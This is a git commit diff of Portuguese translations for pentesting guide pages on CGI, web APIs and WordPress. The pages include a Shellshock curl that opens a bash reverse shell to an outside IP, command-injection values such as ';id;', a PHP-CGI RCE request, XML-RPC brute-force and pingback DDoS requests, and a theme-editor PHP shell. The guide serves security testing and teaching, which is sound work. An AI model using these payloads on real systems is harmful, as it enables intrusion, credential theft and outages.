Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-10-07 10:14:10 +00:00
parent bf2d334068
commit 8cda91e328
8 changed files with 598 additions and 561 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -3,22 +3,22 @@
{{#include ../../banners/hacktricks-training.md}}
## Information
## Informação
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
Os **CGI scripts são scripts perl**, então, se você comprometeu um servidor que pode executar _**.cgi**_ scripts você pode **fazer upload de um perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** (`chmod +x`) e **acessar** o reverse shell **pelo web browser** para executá-lo.
Para testar **CGI vulns** é recomendado usar `nikto -C all` \(e todos os plugins\)
## **ShellShock**
**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a capacidade do Bash de executar comandos passados por aplicações. A vulnerabilidade está na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.
**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a habilidade do Bash de executar comandos passados por aplicações. A vulnerabilidade reside na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.
Ao explorar essa vulnerabilidade a **página pode lançar um erro**.
Ao explorar essa vulnerabilidade a **página pode retornar um erro**.
Você pode **encontrar** essa vulnerabilidade percebendo que está usando uma **versão antiga do Apache** e **cgi_mod** \(com pasta cgi\) ou usando **nikto**.
### **Test**
A maioria dos testes baseia-se em usar o comando `echo` para imprimir algo e esperar que essa string seja retornada na resposta web. Se você achar que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
A maioria dos testes consiste em echoar algo e esperar que aquela string seja retornada na resposta web. Se você acha que uma página pode ser vulnerável, procure todas as páginas cgi e teste-as.
**Nmap**
```bash
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## Roteadores CGI centralizados (single endpoint routing via selector parameters)
## Dispatchers CGI centralizados (single endpoint routing via selector parameters)
Muitas interfaces web embarcadas multiplexam dezenas de ações privilegiadas por trás de um único CGI endpoint (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=<handler>` para rotear a requisição para uma função interna.
Muitas UIs web embarcadas multiplexam dezenas de ações privilegiadas atrás de um único endpoint CGI (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=<handler>` para rotear a requisição para uma função interna.
Methodology to exploit these routers:
Metodologia para explorar esses routers:
- Enumerar nomes de handlers: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
- Testar unauthenticated reachability: alguns handlers esquecem auth checks e são diretamente chamáveis.
- Focar em handlers que invocam system utilities ou touch files; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem perder o hífen inicial `-`.
- Enumerar nomes de handler: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
- Testar acessibilidade sem autenticação: alguns handlers esquecem checagens de auth e podem ser chamados diretamente.
- Focar em handlers que invocam system utilities ou manipulam arquivos; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem não detectar o hífen inicial `-`.
Formas genéricas de exploit:
```http
@ -75,30 +75,30 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Detection and hardening:
Detecção e endurecimento:
- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
- Flag parameters that begin with `-` (argv option injection attempts).
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
- Fique atento a requisições não autenticadas para endpoints CGI centralizados com `topicurl` definido para handlers sensíveis.
- Marque parâmetros que começam com `-` (tentativas de injeção de opções argv).
- Fornecedores: aplique autenticação em todos os handlers que mudam estado, valide usando allowlists/tipos/tamanhos estritos, e nunca passe strings controladas pelo usuário como flags de linha de comando.
## PHP antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Basicamente, se o CGI estiver ativo e o PHP for "antigo" \(&lt;5.3.12 / &lt; 5.4.2\) você pode executar código.
Basicamente, se cgi estiver ativo e o php for "antigo" \(&lt;5.3.12 / &lt; 5.4.2\) você pode executar código.
Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
Então, para testar essa vulnerabilidade, você pode acessar por exemplo `/index.php?-s` \(note o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**.
Em seguida, para testar a vulnerabilidade, você pode acessar, por exemplo, `/index.php?-s` \(observe o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**.
Para obter **RCE** você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da requisição.
Example:**
Então, para obter **RCE** você pode enviar esta query especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado deve estar no **corpo da requisição**.
Exemplo:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Mais informações sobre o vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Mais informações sobre the vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM para requisições do servidor web\)**
## **Proxy \(MitM para requisições ao servidor Web\)**
CGI cria uma variável de ambiente para cada cabeçalho na requisição HTTP. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
CGI cria uma variável de ambiente para cada header na requisição HTTP. Por exemplo: "host:web.com" é criada como "HTTP_HOST"="web.com"
Como a variável HTTP_PROXY pode ser usada pelo servidor web, tente enviar um **header** contendo: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" e, se o servidor executar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.
Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um **header** contendo: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" e, se o servidor realizar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.
## **Referências**

View File

@ -1,55 +1,97 @@
# Web API Pentesting
# Pentesting de API Web
{{#include ../../banners/hacktricks-training.md}}
## Resumo da Metodologia de Pentesting de API
## Resumo da Metodologia de Pentesting de APIs
Pentesting de APIs envolve uma abordagem estruturada para descobrir vulnerabilidades. Este guia encapsula uma metodologia abrangente, enfatizando técnicas e ferramentas práticas.
### **Entendendo os Tipos de API**
- **SOAP/XML Web Services**: Utilizam o formato WSDL para documentação, geralmente encontrado em caminhos `?wsdl`. Ferramentas como **SOAPUI** e **WSDLer** (Extensão do Burp Suite) são instrumentais para analisar e gerar requisições. A documentação de exemplo está acessível em [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: A documentação geralmente vem em arquivos WADL, mas ferramentas como [Swagger UI](https://swagger.io/tools/swagger-ui/) fornecem uma interface mais amigável para interação. **Postman** é uma ferramenta valiosa para criar e gerenciar requisições de exemplo.
- **GraphQL**: Uma linguagem de consulta para APIs que oferece uma descrição completa e compreensível dos dados na sua API.
- **SOAP/XML Web Services**: Use o formato WSDL para documentação, tipicamente encontrado em caminhos `?wsdl`. Ferramentas como **SOAPUI** e **WSDLer** (Burp Suite Extension) são úteis para analisar e gerar requisições. Documentação de exemplo está acessível em [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: A documentação frequentemente vem em arquivos WADL, mas ferramentas como [Swagger UI](https://swagger.io/tools/swagger-ui/) fornecem uma interface mais amigável para interação. **Postman** é uma ferramenta valiosa para criar e gerenciar requisições de exemplo.
- **GraphQL**: Uma query language para APIs que oferece uma descrição completa e compreensível dos dados na sua API.
### **Laboratórios Práticos**
### **Practice Labs**
- [**VAmPI**](https://github.com/erev0s/VAmPI): Uma API deliberadamente vulnerável para prática prática, cobrindo as 10 principais vulnerabilidades de API da OWASP.
- [**VAmPI**](https://github.com/erev0s/VAmPI): Uma API deliberadamente vulnerável para prática hands-on, cobrindo as vulnerabilidades OWASP top 10 para APIs.
### **Truques Eficazes para Pentesting de API**
### **Effective Tricks for API Pentesting**
- **Vulnerabilidades SOAP/XML**: Explore vulnerabilidades XXE, embora declarações DTD sejam frequentemente restritas. Tags CDATA podem permitir a inserção de payloads se o XML permanecer válido.
- **Escalonamento de Privilégios**: Teste endpoints com diferentes níveis de privilégio para identificar possibilidades de acesso não autorizado.
- **Configurações CORS Incorretas**: Investigue as configurações CORS para potencial explorabilidade através de ataques CSRF a partir de sessões autenticadas.
- **Descoberta de Endpoints**: Aproveite padrões de API para descobrir endpoints ocultos. Ferramentas como fuzzers podem automatizar esse processo.
- **Manipulação de Parâmetros**: Experimente adicionar ou substituir parâmetros em requisições para acessar dados ou funcionalidades não autorizadas.
- **Teste de Métodos HTTP**: Varie os métodos de requisição (GET, POST, PUT, DELETE, PATCH) para descobrir comportamentos inesperados ou divulgações de informações.
- **Manipulação de Content-Type**: Alterne entre diferentes tipos de conteúdo (x-www-form-urlencoded, application/xml, application/json) para testar problemas de análise ou vulnerabilidades.
- **Técnicas Avançadas de Parâmetros**: Teste com tipos de dados inesperados em payloads JSON ou brinque com dados XML para injeções XXE. Além disso, experimente poluição de parâmetros e caracteres curinga para testes mais amplos.
- **Teste de Versões**: Versões mais antigas de APIs podem ser mais suscetíveis a ataques. Sempre verifique e teste contra múltiplas versões de API.
- **SOAP/XML Vulnerabilities**: Explore vulnerabilidades XXE, embora declarações DTD frequentemente sejam restritas. Tags CDATA podem permitir a inserção de payloads se o XML permanecer válido.
- **Privilege Escalation**: Teste endpoints com níveis de privilégio variados para identificar possibilidades de acesso não autorizado.
- **CORS Misconfigurations**: Investigue as configurações de CORS para possível explorabilidade via ataques CSRF a partir de sessões autenticadas.
- **Endpoint Discovery**: Aproveite padrões de API para descobrir endpoints ocultos. Ferramentas como fuzzers podem automatizar esse processo.
- **Parameter Tampering**: Experimente adicionar ou substituir parâmetros em requisições para acessar dados ou funcionalidades não autorizadas.
- **HTTP Method Testing**: Varie os métodos de requisição (GET, POST, PUT, DELETE, PATCH) para descobrir comportamentos inesperados ou divulgações de informação.
- **Content-Type Manipulation**: Mude entre diferentes content types (x-www-form-urlencoded, application/xml, application/json) para testar problemas de parsing ou vulnerabilidades.
- **Advanced Parameter Techniques**: Teste com tipos de dados inesperados em payloads JSON ou brinque com dados XML para injeções XXE. Também tente parameter pollution e caracteres curinga para testes mais amplos.
- **Version Testing**: Versões mais antigas da API podem ser mais suscetíveis a ataques. Sempre verifique e teste múltiplas versões da API.
### **Ferramentas e Recursos para Pentesting de API**
### Autorização & Lógica de Negócio (AuthN != AuthZ) — armadilhas do tRPC/Zod protectedProcedure
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descobrir endpoints de API. Use-o para escanear e forçar caminhos e parâmetros contra APIs-alvo.
Stacks TypeScript modernos frequentemente usam tRPC com Zod para validação de entrada. No tRPC, `protectedProcedure` tipicamente garante que a requisição possui uma sessão válida (authentication) mas não implica que o caller tem o papel/permissões corretas (authorization). Essa discrepância leva a Broken Function Level Authorization/BOLA se procedimentos sensíveis forem protegidos apenas por `protectedProcedure`.
- Threat model: Qualquer usuário autenticado com baixo privilégio pode chamar procedimentos de nível admin se verificações de role/permissão estiverem ausentes (ex.: migrações background, feature flags, manutenção em tenant-wide, controle de jobs).
- Black-box signal: Endpoints `POST /api/trpc/<router>.<procedure>` que têm sucesso para contas básicas quando deveriam ser exclusivos de admins. Signups self-serve aumentam drasticamente a explorabilidade.
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
Example vulnerable pattern (no role/permission gate):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Exploração prática (black-box)
1) Registre uma conta normal e obtenha uma sessão autenticada (cookies/headers).
2) Enumere tarefas em segundo plano ou outros recursos sensíveis via procedimentos “list”/“all”/“status”.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) Invocar ações privilegiadas, como reiniciar um job:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impacto a avaliar
- Corrupção de dados via reinícios não-idempotentes: Forçar execuções concorrentes de migrações/workers pode criar condições de corrida e estados parciais inconsistentes (perda silenciosa de dados, análises corrompidas).
- DoS via worker/DB starvation: Acionar repetidamente jobs pesados pode esgotar pools de workers e conexões do banco de dados, causando outages que afetam todo o tenant.
### **Ferramentas e Recursos para API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excelente para descobrir endpoints de API. Use-o para escanear e brute force paths e parâmetros contra APIs alvo.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj é uma ferramenta de linha de comando projetada para auxiliar na auditoria de **arquivos de definição Swagger/OpenAPI expostos** verificando os endpoints da API associados para autenticação fraca. Também fornece modelos de comando para testes manuais de vulnerabilidade.
- Ferramentas adicionais como **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** oferecem funcionalidades personalizadas para testes de segurança de API, variando de simulação de ataque a fuzzing e varredura de vulnerabilidades.
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj é uma ferramenta de linha de comando projetada para auxiliar na auditoria de **exposed Swagger/OpenAPI definition files** verificando os endpoints de API associados quanto à autenticação fraca. Também fornece modelos de comando para testes manuais de vulnerabilidades.
- Ferramentas adicionais como **automatic-api-attack-tool**, **Astra**, e **restler-fuzzer** oferecem funcionalidades específicas para testes de segurança de API, que vão desde simulação de ataques até fuzzing e escaneamento de vulnerabilidades.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): É uma ferramenta de segurança de API que audita sua API com base em um arquivo OAS (a ferramenta é escrita em rust).
### **Recursos de Aprendizado e Prática**
### **Recursos para Aprendizado e Prática**
- **OWASP API Security Top 10**: Leitura essencial para entender vulnerabilidades comuns de API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **OWASP API Security Top 10**: Leitura essencial para entender as vulnerabilidades comuns em APIs ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: Uma lista de verificação abrangente para proteger APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: Para caçar vulnerabilidades de API, Logger++ oferece filtros úteis ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Uma lista curada de potenciais endpoints de API para fins de teste ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
- **Logger++ Filters**: Para caçar vulnerabilidades em API, o Logger++ oferece filtros úteis ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Uma lista selecionada de endpoints de API potenciais para fins de teste ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Referências
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,33 +12,33 @@
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Arquivos Principais do WordPress**
### **Principais Arquivos do WordPress**
- `index.php`
- `license.txt` contém informações úteis, como a versão do WordPress instalada.
- `wp-activate.php` é usado para o processo de ativação por email ao configurar um novo site WordPress.
- Pastas de login (podem ser renomeadas para ocultá-las):
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress REST API.
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pelo WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
- `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todos os posts públicos e tipos de post e taxonomias publicamente consultáveis.
- `wp-includes/` É o diretório onde arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.
**Pós-exploração**
- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, authentication keys e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.
### Permissões de Usuários
- **Administrador**
- **Editor**: Publica e gerencia suas e outras publicações
- **Autor**: Publica e gerencia suas próprias publicações
- **Colaborador**: Escreve e gerencia suas publicações, mas não pode publicá-las
- **Assinante**: Navega pelas publicações e edita seu perfil
- **Administrator**
- **Editor**: Publica e gerencia seus próprios posts e os de outros
- **Author**: Publica e gerencia seus próprios posts
- **Contributor**: Escreve e gerencia seus posts, mas não pode publicá-los
- **Subscriber**: Visualiza posts e edita seu perfil
## **Enumeração Passiva**
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumeração ativa
### Plugins and Themes
### Plugins e Temas
Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins and Themes** (espero que existam ferramentas automatizadas que contenham essas listas).
Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **realizar ativamente um Brute Force em uma lista de Plugins e Temas** (esperançosamente existem ferramentas automatizadas que contêm essas listas).
### Usuários
- **ID Brute:** Você obtém usuários válidos de um site WordPress por Brute Forcing os IDs de usuários:
- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -95,23 +95,23 @@ Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuários é:
Outro endpoint `/wp-json/` que pode revelar algumas informações sobre users é:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Observe que este endpoint expõe apenas usuários que fizeram uma publicação. **Somente informações sobre os usuários que tiverem esse recurso ativado serão fornecidas**.
Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm esse recurso ativado serão fornecidas**.
Além disso, observe que **/wp-json/wp/v2/pages** could leak IP addresses.
Também observe que **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`** a **mensagem** é **diferente** ao indicar se o **username** existe ou não.
- **Login username enumeration**: Ao tentar logar em **`/wp-login.php`** a **mensagem** é **diferente**, indicando se o **username** existe ou não.
### XML-RPC
Se `xml-rpc.php` estiver ativo você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isto](https://github.com/relarizky/wpxploit), por exemplo).
Se `xml-rpc.php` estiver ativo você pode realizar um brute-force de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição:
Para verificar se está ativo tente acessar _**/xmlrpc.php**_ e enviar esta requisição:
**Verifique**
**Verificar**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -122,7 +122,7 @@ Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requ
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar qualquer um deles, você pode enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -168,18 +168,18 @@ Usando as credenciais corretas você pode fazer upload de um arquivo. Na respost
</params>
</methodCall>
```
Também existe uma maneira **mais rápida** de brute-force credenciais usando **`system.multicall`** já que você pode testar várias credenciais na mesma requisição:
Além disso, existe uma **maneira mais rápida** de brute-force de credenciais usando **`system.multicall`**, pois você pode testar várias credenciais na mesma requisição:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Contornar 2FA**
Esse método foi pensado para programas e não para humanos, e é antigo; portanto não suporta 2FA. Então, se você tem credenciais válidas mas a entrada principal está protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas credenciais contornando a 2FA**. Observe que você não poderá executar todas as ações que pode fazer através do console, mas ainda assim pode chegar a RCE como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas creds contornando a 2FA**. Note que você não poderá realizar todas as ações que consegue através do console, mas ainda assim pode conseguir RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ou port scanning**
Se você encontrar o método _**pingback.ping**_ dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.\
Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress **acessem** um único **local** (causando assim um **DDoS** naquele local) ou você pode usá-lo para fazer o **Wordpress** realizar um **scan** de alguma **rede** interna (você pode indicar qualquer porta).
Se você conseguir encontrar o método _**pingback.ping**_ dentro da lista, você pode fazer o Wordpress enviar uma requisição arbitrária para qualquer host/porta.\
Isso pode ser usado para pedir que **milhares** de **sites** Wordpress **acessem** um único **local** (causando um **DDoS** naquele local) ou você pode usá-lo para fazer o **Wordpress** **scan** alguma **rede** interna (você pode indicar qualquer porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ Isso pode ser usado para solicitar que **milhares** de **sites** Wordpress **ace
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Se você obtiver **faultCode** com um valor **maior** do que **0** (17), isso significa que a porta está aberta.
Se você obtiver **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus
### wp-cron.php DoS
Este arquivo normalmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **causar** um **DoS**.\
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma "**pesada**" MySQL **consulta** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
Recomenda-se desativar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma requisição para você.
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o Worpress site pode fazer uma requisição para você.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta ferramenta verifica se existe o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy**, e se existirem, tenta explorá-los.
Esta ferramenta verifica se o **methodName: pingback.ping** existe e se o path **/wp-json/oembed/1.0/proxy** também existe; se existirem, tenta explorá-los.
## Ferramentas Automáticas
```bash
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obter acesso sobrescrevendo um bit
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit de qualquer arquivo do wordpress. Então você podia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Painel RCE**
**Modificando um php do tema usado (credenciais admin necessárias)**
**Modificando um arquivo php do tema usado (credenciais admin necessárias)**
Aparência → Editor de Temas → Template 404 (à direita)
Aparência → Editor de Tema → Modelo 404 (à direita)
Substitua o conteúdo por um php shell:
Altere o conteúdo para um php shell:
![](<../../images/image (384).png>)
